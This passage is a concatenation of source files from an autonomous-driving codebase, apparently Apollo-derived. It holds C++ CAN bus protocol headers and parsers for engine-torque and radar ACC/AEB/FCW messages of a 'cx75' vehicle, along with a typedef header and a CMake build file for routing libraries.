bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_RollingCounter_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_rollingcounter_0x107(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_KickDown', 'enum': {0: 'EMS_KICKDOWN_NOTACTIVE', 1: 'EMS_KICKDOWN_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_kickdownType ems_kickdown(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_ACCPedalRatioError', 'enum': {0: 'EMS_ACCPEDALRATIOERROR_NOERROR', 1: 'EMS_ACCPEDALRATIOERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_accpedalratioerrorType ems_accpedalratioerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_BrkPedalStasus', 'enum': {0: 'EMS_BRKPEDALSTASUS_NOTPRESSED', 1: 'EMS_BRKPEDALSTASUS_PRESSED', 2: 'EMS_BRKPEDALSTASUS_RESERVED', 3: 'EMS_BRKPEDALSTASUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_brkpedalstasusType ems_brkpedalstasus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_Checksum_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_checksum_0x107(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MaxIndicatedTorqWhl', 'enum': {65535: 'MAXINDICATEDTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int maxindicatedtorqwhl(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_EMS_WHLTQ_0X107_107_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_uint16_h #define impl_type_uint16_h #include "base_type_std_uint16_t.h" typedef std_uint16_t UInt16; #endif // impl_type_uint16_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X246_246_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_0X246_246_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Mrr0x246246 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Mrr0x246246(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'TauGapSet', 'enum': {0: 'TAUGAPSET_TAUGAP_0', 1: 'TAUGAPSET_TAUGAP_1', 2: 'TAUGAPSET_TAUGAP_2', 3: 'TAUGAPSET_TAUGAP_3', 4: 'TAUGAPSET_TAUGAP_4', 5: 'TAUGAPSET_TAUGAP_5', 6: 'TAUGAPSET_TAUGAP_6', 7: 'TAUGAPSET_TAUGAP_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_taugapset(Mrr_0x246_246::TaugapsetType taugapset); // config detail: {'name': 'dxTarObj', 'enum': {0: 'DXTAROBJ_DISTANCE_0', 1: 'DXTAROBJ_DISTANCE_1', 2: 'DXTAROBJ_DISTANCE_2', 3: 'DXTAROBJ_DISTANCE_3', 4: 'DXTAROBJ_DISTANCE_4', 5: 'DXTAROBJ_DISTANCE_5', 6: 'DXTAROBJ_DISTANCE_6', 7: 'DXTAROBJ_DISTANCE_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_dxtarobj(Mrr_0x246_246::DxtarobjType dxtarobj); // config detail: {'name': 'ACCHMI_Mode', 'enum': {0: 'ACCHMI_MODE_OFF_MODE', 1: 'ACCHMI_MODE_PASSIVE_MODE', 2: 'ACCHMI_MODE_STAND_BY_MODE', 3: 'ACCHMI_MODE_ACTIVE_CONTROL_MODE', 4: 'ACCHMI_MODE_BRAKE_ONLY_MODE', 5: 'ACCHMI_MODE_OVERRIDE', 6: 'ACCHMI_MODE_STANDSTILL', 7: 'ACCHMI_MODE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_acchmi_mode(Mrr_0x246_246::Acchmi_modeType acchmi_mode); // config detail: {'name': 'ACCFailInfo', 'enum': {0: 'ACCFAILINFO_NO_ERROR', 1: 'ACCFAILINFO_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_accfailinfo(Mrr_0x246_246::AccfailinfoType accfailinfo); // config detail: {'name': 'TakeOverReq', 'enum': {0: 'TAKEOVERREQ_NO_TAKEOVER_REQUEST', 1: 'TAKEOVERREQ_VALID_TAKEOVER_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_takeoverreq(Mrr_0x246_246::TakeoverreqType takeoverreq); // config detail: {'name': 'MRR_FCW_Sensitive', 'enum': {0: 'MRR_FCW_SENSITIVE_UNAVAILABLE', 1: 'MRR_FCW_SENSITIVE_LEVEL1_LOW_SENSITIVE', 2: 'MRR_FCW_SENSITIVE_LEVEL2_NORMAL', 3: 'MRR_FCW_SENSITIVE_LEVEL3_HIGH_SENSITIVE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_mrr_fcw_sensitive(Mrr_0x246_246::Mrr_fcw_sensitiveType mrr_fcw_sensitive); // config detail: {'name': 'AEB_STATE', 'enum': {0: 'AEB_STATE_UNAVAILABLE', 1: 'AEB_STATE_OFF', 2: 'AEB_STATE_STANDBY', 3: 'AEB_STATE_ACTIVE_NO_INTERVENTION', 4: 'AEB_STATE_ACTIVE', 5: 'AEB_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_aeb_state(Mrr_0x246_246::Aeb_stateType aeb_state); // config detail: {'name': 'ACC_Startstop_infor', 'enum': {0: 'ACC_STARTSTOP_INFOR_ACC_STOPALLOWED', 1: 'ACC_STARTSTOP_INFOR_ACC_STOPFORBIDDEN', 2: 'ACC_STARTSTOP_INFOR_ACC_STARTREQUEST', 3: 'ACC_STARTSTOP_INFOR_ACC_SYSTEMFAILURE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_acc_startstop_infor(Mrr_0x246_246::Acc_startstop_inforType acc_startstop_infor); // config detail: {'name': 'FCW_preWarning', 'enum': {0: 'FCW_PREWARNING_NO_WARNING', 1: 'FCW_PREWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_fcw_prewarning(Mrr_0x246_246::Fcw_prewarningType fcw_prewarning); // config detail: {'name': 'FCW_latentWarning', 'enum': {0: 'FCW_LATENTWARNING_NO_WARNING', 1: 'FCW_LATENTWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_fcw_latentwarning(Mrr_0x246_246::Fcw_latentwarningType fcw_latentwarning); // config detail: {'name': 'FCW_STATE', 'enum': {0: 'FCW_STATE_UNAVAILABLE', 1: 'FCW_STATE_OFF', 2: 'FCW_STATE_STANDBY', 3: 'FCW_STATE_ACTIVE_NO_INTERVENTION', 4: 'FCW_STATE_ACTIVE', 5: 'FCW_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_fcw_state(Mrr_0x246_246::Fcw_stateType fcw_state); // config detail: {'name': 'Obj_Speed', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_obj_speed(int obj_speed); // config detail: {'name': 'Rolling_counter_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_rolling_counter_0x246(int rolling_counter_0x246); // config detail: {'name': 'Textinfo', 'enum': {0: 'TEXTINFO_NO_DISPLAY', 1: 'TEXTINFO_ACC_IS_SWITCHED_ON', 2: 'TEXTINFO_ACC_IS_SWITCHED_OFF', 3: 'TEXTINFO_ACC_IS_CANCELLED', 4: 'TEXTINFO_ACC_ACTIVE', 5: 'TEXTINFO_MRR_BLINDNESS', 6: 'TEXTINFO_ACC_AND_PEBS_ERROR', 7: 'TEXTINFO_EPB_ACTIVATE', 8: 'TEXTINFO_NO_FORWARD_GEAR', 9: 'TEXTINFO_SEATBELT_UNBUCKLED', 10: 'TEXTINFO_ESP_OFF', 11: 'TEXTINFO_SPEED_OVER_150KPH', 12: 'TEXTINFO_DOOR_OPEN', 13: 'TEXTINFO_OVERRIDE', 14: 'TEXTINFO_ESP_ERROR', 15: 'TEXTINFO_UNCALIBRATED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_textinfo(Mrr_0x246_246::TextinfoType textinfo); // config detail: {'name': 'Checksum_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_checksum_0x246(int checksum_0x246); // config detail: {'name': 'vSetDis', 'enum': {511: 'VSETDIS_INVALID'}, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.5]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} Mrr0x246246* set_vsetdis(Mrr_0x246_246::VsetdisType vsetdis); // config detail: {'name': 'ObjValid', 'enum': {0: 'OBJVALID_NO_OBJECT', 1: 'OBJVALID_TARGET_OBJECT_DETECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrr0x246246* set_objvalid(Mrr_0x246_246::ObjvalidType objvalid); private: // config detail: {'name': 'TauGapSet', 'enum': {0: 'TAUGAPSET_TAUGAP_0', 1: 'TAUGAPSET_TAUGAP_1', 2: 'TAUGAPSET_TAUGAP_2', 3: 'TAUGAPSET_TAUGAP_3', 4: 'TAUGAPSET_TAUGAP_4', 5: 'TAUGAPSET_TAUGAP_5', 6: 'TAUGAPSET_TAUGAP_6', 7: 'TAUGAPSET_TAUGAP_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_taugapset(uint8_t* data, Mrr_0x246_246::TaugapsetType taugapset); // config detail: {'name': 'dxTarObj', 'enum': {0: 'DXTAROBJ_DISTANCE_0', 1: 'DXTAROBJ_DISTANCE_1', 2: 'DXTAROBJ_DISTANCE_2', 3: 'DXTAROBJ_DISTANCE_3', 4: 'DXTAROBJ_DISTANCE_4', 5: 'DXTAROBJ_DISTANCE_5', 6: 'DXTAROBJ_DISTANCE_6', 7: 'DXTAROBJ_DISTANCE_7'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_dxtarobj(uint8_t* data, Mrr_0x246_246::DxtarobjType dxtarobj); // config detail: {'name': 'ACCHMI_Mode', 'enum': {0: 'ACCHMI_MODE_OFF_MODE', 1: 'ACCHMI_MODE_PASSIVE_MODE', 2: 'ACCHMI_MODE_STAND_BY_MODE', 3: 'ACCHMI_MODE_ACTIVE_CONTROL_MODE', 4: 'ACCHMI_MODE_BRAKE_ONLY_MODE', 5: 'ACCHMI_MODE_OVERRIDE', 6: 'ACCHMI_MODE_STANDSTILL', 7: 'ACCHMI_MODE_FAILURE_MODE'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acchmi_mode(uint8_t* data, Mrr_0x246_246::Acchmi_modeType acchmi_mode); // config detail: {'name': 'ACCFailInfo', 'enum': {0: 'ACCFAILINFO_NO_ERROR', 1: 'ACCFAILINFO_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_accfailinfo(uint8_t* data, Mrr_0x246_246::AccfailinfoType accfailinfo); // config detail: {'name': 'TakeOverReq', 'enum': {0: 'TAKEOVERREQ_NO_TAKEOVER_REQUEST', 1: 'TAKEOVERREQ_VALID_TAKEOVER_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_takeoverreq(uint8_t* data, Mrr_0x246_246::TakeoverreqType takeoverreq); // config detail: {'name': 'MRR_FCW_Sensitive', 'enum': {0: 'MRR_FCW_SENSITIVE_UNAVAILABLE', 1: 'MRR_FCW_SENSITIVE_LEVEL1_LOW_SENSITIVE', 2: 'MRR_FCW_SENSITIVE_LEVEL2_NORMAL', 3: 'MRR_FCW_SENSITIVE_LEVEL3_HIGH_SENSITIVE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_fcw_sensitive(uint8_t* data, Mrr_0x246_246::Mrr_fcw_sensitiveType mrr_fcw_sensitive); // config detail: {'name': 'AEB_STATE', 'enum': {0: 'AEB_STATE_UNAVAILABLE', 1: 'AEB_STATE_OFF', 2: 'AEB_STATE_STANDBY', 3: 'AEB_STATE_ACTIVE_NO_INTERVENTION', 4: 'AEB_STATE_ACTIVE', 5: 'AEB_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_aeb_state(uint8_t* data, Mrr_0x246_246::Aeb_stateType aeb_state); // config detail: {'name': 'ACC_Startstop_infor', 'enum': {0: 'ACC_STARTSTOP_INFOR_ACC_STOPALLOWED', 1: 'ACC_STARTSTOP_INFOR_ACC_STOPFORBIDDEN', 2: 'ACC_STARTSTOP_INFOR_ACC_STARTREQUEST', 3: 'ACC_STARTSTOP_INFOR_ACC_SYSTEMFAILURE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_acc_startstop_infor(uint8_t* data, Mrr_0x246_246::Acc_startstop_inforType acc_startstop_infor); // config detail: {'name': 'FCW_preWarning', 'enum': {0: 'FCW_PREWARNING_NO_WARNING', 1: 'FCW_PREWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_fcw_prewarning(uint8_t* data, Mrr_0x246_246::Fcw_prewarningType fcw_prewarning); // config detail: {'name': 'FCW_latentWarning', 'enum': {0: 'FCW_LATENTWARNING_NO_WARNING', 1: 'FCW_LATENTWARNING_WARNING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_fcw_latentwarning(uint8_t* data, Mrr_0x246_246::Fcw_latentwarningType fcw_latentwarning); // config detail: {'name': 'FCW_STATE', 'enum': {0: 'FCW_STATE_UNAVAILABLE', 1: 'FCW_STATE_OFF', 2: 'FCW_STATE_STANDBY', 3: 'FCW_STATE_ACTIVE_NO_INTERVENTION', 4: 'FCW_STATE_ACTIVE', 5: 'FCW_STATE_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_fcw_state(uint8_t* data, Mrr_0x246_246::Fcw_stateType fcw_state); // config detail: {'name': 'Obj_Speed', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_obj_speed(uint8_t* data, int obj_speed); // config detail: {'name': 'Rolling_counter_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_rolling_counter_0x246(uint8_t* data, int rolling_counter_0x246); // config detail: {'name': 'Textinfo', 'enum': {0: 'TEXTINFO_NO_DISPLAY', 1: 'TEXTINFO_ACC_IS_SWITCHED_ON', 2: 'TEXTINFO_ACC_IS_SWITCHED_OFF', 3: 'TEXTINFO_ACC_IS_CANCELLED', 4: 'TEXTINFO_ACC_ACTIVE', 5: 'TEXTINFO_MRR_BLINDNESS', 6: 'TEXTINFO_ACC_AND_PEBS_ERROR', 7: 'TEXTINFO_EPB_ACTIVATE', 8: 'TEXTINFO_NO_FORWARD_GEAR', 9: 'TEXTINFO_SEATBELT_UNBUCKLED', 10: 'TEXTINFO_ESP_OFF', 11: 'TEXTINFO_SPEED_OVER_150KPH', 12: 'TEXTINFO_DOOR_OPEN', 13: 'TEXTINFO_OVERRIDE', 14: 'TEXTINFO_ESP_ERROR', 15: 'TEXTINFO_UNCALIBRATED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_textinfo(uint8_t* data, Mrr_0x246_246::TextinfoType textinfo); // config detail: {'name': 'Checksum_0x246', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_checksum_0x246(uint8_t* data, int checksum_0x246); // config detail: {'name': 'vSetDis', 'enum': {511: 'VSETDIS_INVALID'}, 'precision': 0.5, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.5]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} void set_p_vsetdis(uint8_t* data, Mrr_0x246_246::VsetdisType vsetdis); // config detail: {'name': 'ObjValid', 'enum': {0: 'OBJVALID_NO_OBJECT', 1: 'OBJVALID_TARGET_OBJECT_DETECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_objvalid(uint8_t* data, Mrr_0x246_246::ObjvalidType objvalid); private: Mrr_0x246_246::TaugapsetType taugapset_; Mrr_0x246_246::DxtarobjType dxtarobj_; Mrr_0x246_246::Acchmi_modeType acchmi_mode_; Mrr_0x246_246::AccfailinfoType accfailinfo_; Mrr_0x246_246::TakeoverreqType takeoverreq_; Mrr_0x246_246::Mrr_fcw_sensitiveType mrr_fcw_sensitive_; Mrr_0x246_246::Aeb_stateType aeb_state_; Mrr_0x246_246::Acc_startstop_inforType acc_startstop_infor_; Mrr_0x246_246::Fcw_prewarningType fcw_prewarning_; Mrr_0x246_246::Fcw_latentwarningType fcw_latentwarning_; Mrr_0x246_246::Fcw_stateType fcw_state_; int obj_speed_; int rolling_counter_0x246_; Mrr_0x246_246::TextinfoType textinfo_; int checksum_0x246_; Mrr_0x246_246::VsetdisType vsetdis_; Mrr_0x246_246::ObjvalidType objvalid_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_MRR_0X246_246_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(graph INTERFACE) target_link_libraries(graph INTERFACE routing_node_with_range routing_sub_topo_graph routing_topo_graph routing_topo_node routing_topo_range_manager) add_library(routing_topo_range topo_range.cc topo_range.h) target_link_libraries(routing_topo_range routing_gflags) add_library(routing_topo_range_manager topo_range_manager.cc topo_range_manager.h) target_link_libraries(routing_topo_range_manager routing_topo_node routing_topo_range map_util) add_library(routing_range_utils INTERFACE) target_link_libraries(routing_range_utils INTERFACE ) add_library(routing_node_with_range node_with_range.cc node_with_range.h) target_link_libraries(routing_node_with_range routing_topo_node routing_topo_range) add_library(routing_topo_node topo_node.cc topo_node.h) target_link_libraries(routing_topo_node routing_range_utils routing_topo_range jmcauto_log common_proto map_util map_proto routing_proto) add_library(routing_topo_graph topo_graph.cc topo_graph.h) target_link_libraries(routing_topo_graph routing_topo_node common common_proto util map_proto routing_gflags routing_proto) add_library(routing_sub_topo_graph sub_topo_graph.cc sub_topo_graph.h) target_link_libraries(routing_sub_topo_graph routing_node_with_range routing_topo_node common common_proto util map_proto routing_gflags routing_proto) add_library(routing_topo_test_utils topo_test_utils.cc topo_test_utils.h) target_link_libraries(routing_topo_test_utils routing_topo_graph routing_topo_node) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ems_whltq_0x107_107.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwemswhltq0x107107::Gwemswhltq0x107107() {} const int32_t Gwemswhltq0x107107::ID = 0x107; void Gwemswhltq0x107107::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_minindicatedtorqwhl(minindicatedtorqwhl(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_ems_accrawpedalratio(ems_accrawpedalratio(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_ems_accpedalratio(ems_accpedalratio(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_dcm_ems_rollingcounter_0x107(dcm_ems_rollingcounter_0x107(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_ems_kickdown(ems_kickdown(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_ems_accpedalratioerror(ems_accpedalratioerror(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_ems_brkpedalstasus(ems_brkpedalstasus(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_dcm_ems_checksum_0x107(dcm_ems_checksum_0x107(bytes, length)); chassis->mutable_cx75()->mutable_gw_ems_whltq_0x107_107()->set_maxindicatedtorqwhl(maxindicatedtorqwhl(bytes, length)); } // config detail: {'name': 'minindicatedtorqwhl', 'enum': {65535: 'MININDICATEDTORQWHL_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': -30000.0, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwemswhltq0x107107::minindicatedtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'ems_accrawpedalratio', 'enum': {255: 'EMS_ACCRAWPEDALRATIO_INVALID'}, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.9998]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} double Gwemswhltq0x107107::ems_accrawpedalratio(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'ems_accpedalratio', 'enum': {255: 'EMS_ACCPEDALRATIO_INVALID'}, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.9998]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': '%'} double Gwemswhltq0x107107::ems_accpedalratio(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); double ret = static_cast<double>(x); return ret; } // config detail: {'name': 'dcm_ems_rollingcounter_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwemswhltq0x107107::dcm_ems_rollingcounter_0x107(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ems_kickdown', 'enum': {0: 'EMS_KICKDOWN_NOTACTIVE', 1: 'EMS_KICKDOWN_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_kickdownType Gwemswhltq0x107107::ems_kickdown(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Gw_ems_whltq_0x107_107::Ems_kickdownType ret = static_cast<Gw_ems_whltq_0x107_107::Ems_kickdownType>(x); return ret; } // config detail: {'name': 'ems_accpedalratioerror', 'enum': {0: 'EMS_ACCPEDALRATIOERROR_NOERROR', 1: 'EMS_ACCPEDALRATIOERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_whltq_0x107_107::Ems_accpedalratioerrorType Gwemswhltq0x107107::ems_accpedalratioerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); 